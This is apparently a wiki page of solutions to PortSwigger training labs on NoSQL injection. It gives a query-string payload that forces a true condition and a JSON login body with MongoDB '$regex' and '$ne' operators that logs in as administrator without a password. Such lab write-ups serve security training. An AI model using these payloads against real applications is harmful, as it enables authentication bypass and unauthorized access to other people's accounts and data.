NoSQL injection - gachikuku/portswigger GitHub Wiki

Solution

1. Select a category.
2. Append '||'1'=='1.

Solution

1. Log in as wiener:peter. Observe the JSON POST request.
2. Tamper with it, to login as administrator. Get familiar with MongoDB.

   {
       "username": {
           "$regex":"admin.*"
       },
       "password": {
           "$ne": ""
       }
   }